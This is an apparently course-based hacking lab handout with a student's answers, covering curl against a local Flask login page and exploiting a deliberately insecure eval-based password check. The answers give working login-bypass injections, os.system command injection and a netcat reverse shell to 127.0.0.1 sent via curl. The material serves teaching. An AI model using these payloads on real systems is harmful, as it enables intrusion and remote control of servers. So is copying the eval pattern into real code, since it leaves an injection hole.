Exercises Lecture 1: Hacking basics

July 12, 2020

1 Setup

For this set of exercies, we are running our own little web server. You can download the simple script from this learnit link or on the learnit page, which you should place in a directory on your linux machine. (For instance, you could create one on your desktop named 'apptorun'). Navigate to the directory in the terminal, and run:

```
python3 -m flask init-db
python3 -m flask run
```

Expected output showing that the server is running

```
python3 -m flask run
 * Environment: production
   WARNING: This is a development server.
   Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
```

You now have a handy link to a webpage running from this terminal! You can open this link in a browser, and should be treated to a login screen.

2 Curl and HTTP

We are going to be experimenting with the curl commands found at linuxacademy.com.

2.1 What is the server type that the covidiot app is running on? What version of python?

2.2 Get the HTML fore the login page using curl

2.3 Based on the on HTML you just got, can you determine the input type for username and password? What are they?

2.4 Send login information to the page using curl

Since you don't know the password, the expected output will be:

```
<!DOCTYPE html>
<html>
    <head><title>CoviDIoT - Login </title></head>
    <body>
        <h1>CoviDIoT - Login</h1>
        Username and password did not match!
        <form method=POST>
            Username: <input type="text" name="username"/><br/>
            Password: <input type="password" name="password"/><br/>
            <button>Login</button>
        </form>
    </body>
```

3 Dynamic evaluation of commands

If you look at the login function of the website provided below in python, you'll notice it contains an eval function. Due to the way it is implemented it serves as a big security issue.

```
#This is our totally secure way of evaluating passwords.
def passcheck(user, password):
return eval("'%s'=='admin' and '%s'=='supersecretpassword" % (user,password))
```

3.1 Login without typing a password

By expoiting the eval function you are able to bypass the password requirement of the login function.

Hint: strings within an if statement are evaluated a bit differently in python. if('anystring') returns true and if('') returns false.

3.2 Run a command, e.g. ls, on the server using the login page

The eval command in python takes a string and interprets it as a python command. This allows you to call system commands by using os.sytem('command'), where command is the command that you wish to run. When you are trying to execute commands on the server, observe the terminal that is currently hosting it, since this is where the output of the commands will be.

3.3 Open a reverse shell to yourself using a combination of curl and your newfound knowledge of the login method

Last time you learned how you could open a reverse shell, now do so on this server.

Week 1 exercise answers - by Mark Kragerup

Exercise 1:

Obtaining permissions to open shared folder:

```
sudo usermod -aG vboxsf kali
sudo reboot
```

Exercise 2.1:

Use curl with verbose -v flag: `curl -v localhost:5000`

The output will contain the line: `< Server: Werkzeug/1.0.0 Python/3.8.2`

Exercise 2.2:

To see the login page html content, use: `curl localhost:5000/login/`

The path is obtained from the data from the previous command as: `< Location: http://localhost:5000/login/`. It is also present in the HTML content.

Exercise 2.3:

Username is html input type text, as apparent from the attribute `type="text"`. Password is html input type password, as apparent from the attribute `type="password"`.

Both inputs are essentially type string, with the difference that password html input content is not visible as clear text in the browser, but is rendered as ****.

Exercise 2.4:

use the *data* parameter `-d 'username=..&password=..'` submit content via. curl. The location is still the login page, as the html form has no *action* attribute. A valid solution is:

```
curl -d 'username=xxx&password=yyy' localhost:5000/login/
```

Exercise 3.1:

The following solutions can be used in a browser, by providing one of the following username inputs:

```
anystringXYZ' or '
```

> Explanation: the first expression will be `'anystringXYZ'` which evaluates to true in python. The evaluation `or '` builds on the expression, but when the lefthand side of an *or* expression is true, the expression evalutes to true and we get a successful login.

Alternative solutions:

```
' or 1==1 #
```

> Explanation: we first close the opening string, creating an empty string which evalutes to false. We then provide a true expression, and use the python comment symbol "#" to commend out the rest of the code. The expression in its entirety can be read as *"if (false or 1==1) then return true*".

```
' or 1==1 or '
```

> Explanation: same principle as above, it just keeps the rest of the logic while adding in `1==1` to effectively transform the expression into a tautology, without commenting out the rest of the code.

To solve the exercise using curl, simply provide no password data, and escape any `'` symbol by wrapping it in semi-quotes and prefixing it with a backslah. Simply put: `username=stuff'` becomes `username=stuff'\''`. A final working command could is (but any of the examples above will work after formatting):

```
curl -d 'username=stuff'\'' or '\''&password=' localhost:5000/login/
```

Exercise 3.2:

The following solutions can be used in a browser, by providing the following username input:

```
' or os.system('ls') #
```

> Explanation: we add the system call with the `ls` command to the expression, and comment out the remaining logic from that line of code using a `#`.

To solve the exercise using curl, provide an empty password and escape the semi-quotes in the above username input:

```
curl -d 'username='\'' or os.system('\''ls'\'') #&password=' localhost:5000/login/
```

Exercise 3.3:

Step 1) Listening for a connection from the target server. (We choose a port 5555)

Open a seperate terminal window or tab, and let netcat listen for connections. This is to recieve the reverse binding from the server, once we compromise it. The command to listen on port 5555 is:

```
nc -nvlp 5555
```

Step 2) Making the target server open a shell connection to us.

You can attack the server through the webpage in the browser, by providing the following input in the username:

```
' or os.system('nc -nv 127.0.0.1 5555 -e /bin/bash') #
```

> We make the server execute a command in the same way as in assignment 3.2. This time, it is a netcat command. It opens a connection to our listening server, and uses the `-e` flag to execute a program on that connection. In this case, the program is a shell, which will recieve the contents of the traffic from our original mini server. See step 3.

The same can be achieved through a curl command, by providing an empty password and an escaped version of the above input as the username:

```
curl -d 'username='\'' or os.system('\''nc -nv 127.0.0.1 5555 -e /bin/bash'\'')
#&password=' localhost:5000/login/
```

(optional) Step 3) Control the server.

In the tab with the listening server from step 1, write "ls" to make the webserver show you its files directly. Note how the output is send back over the connection to your listening server. This works for executing any command, although not all commands have visible output.